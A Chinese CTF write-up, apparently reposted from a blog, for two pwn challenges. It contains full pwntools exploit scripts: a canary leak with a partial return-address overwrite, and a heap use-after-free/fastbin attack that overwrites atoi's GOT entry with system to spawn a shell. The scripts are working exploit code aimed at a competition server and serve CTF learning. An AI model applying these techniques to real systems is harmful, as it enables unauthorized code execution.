namepie
基本情況
程式有后門:

漏洞
第二次輸入堆疊溢位

思路
pie 保護 partly write 繞過,
第一次輸入泄露 canary ,第二次覆寫 rip
EXP
from pwn import *
context(log_level='debug')
# p = process("./namepie")
p = remote("172.20.14.168",9999)
elf = ELF("./namepie")
p.recvuntil(":\n")
name = 'skye'.ljust(0x30-0x8+1,'a')
p.send(name)
p.recvuntil('skye'.ljust(0x30-0x8,'a'))
canary = u64(p.recv(8))-0x61
log.info("canary:"+hex(canary))
# gdb.attach(p)
payload = 'a'*0x28+p64(canary)+'a'*8+'\x71'
p.send(payload)
p.interactive()
onetime
基本情況
堆管理器,有增刪查改功能,每個功能只能用一次,還有一個隱藏申請選項,也是只能用一次,
堆指標、每個功能使用標志位放在 bss 段,
堆申請大小固定 0x60 ,修改只能修改 0x40 ,但是隱藏申請選項能申請并寫入 0x60 位元組,
漏洞
free 函式 UAF :

還有一點就是每個功能是否使用的判斷條件,只要不等于 1 就能運行:
if ( xxxx_inuse == 1 )
思路
- UAF 改 fastbin 中 fd 指標到 bss 段,用 bss 上 stdin 的值偏移 3 構造出 size 位 0x7f
- 申請堆回來,然后用隱藏申請選項申請出 bss 段的堆,順便寫入 payload (edit 用過一次不能用),將各個標志位覆寫,chunk_ptr 覆寫 atoi@got
- 泄露、修改函式地址
EXP
from pwn import *
context(log_level='debug',arch='amd64')
p = process("./onetime")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./onetime")
p = remote("172.20.14.168",10001)
libc = ELF("./libc-2.23.so")
def add():
p.recvuntil(">>\n")
p.sendline('1')
def fill(content):
p.recvuntil(">>\n")
p.sendline('2')
p.recvuntil("content:")
p.send(content)
def show():
p.recvuntil(">>\n")
p.sendline("3")
def free():
p.recvuntil(">>\n")
p.sendline('4')
def hint(name):
p.recvuntil(">>\n")
p.sendline('5')
p.recvuntil("name:")
p.send(name)
add()
free()
fill(p64(0x60208d))
add()
payload = '\x00'*3+'a'*8+p64(elf.got['atoi'])+'a'*0x10#+'\x00'*8+p64(0xdeadbeef)
#payload += p64(elf.got['free']) + p64(0xdeadbeef)*2
hint(payload)
show()
p.recvuntil("data:")
atoi_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info("atoi_addr:"+hex(atoi_addr))
libc_base = atoi_addr - libc.sym['atoi']
system_addr = libc_base + libc.sym['system']
log.info("system_addr:"+hex(system_addr))
# fill('b'*8)
fill(p64(system_addr))
# gdb.attach(p,'b *0x40092D')
p.send('sh')
p.interactive()
轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/211098.html
標籤:java
上一篇:湖湘杯 | Misc Wp
下一篇:CISP-PTE
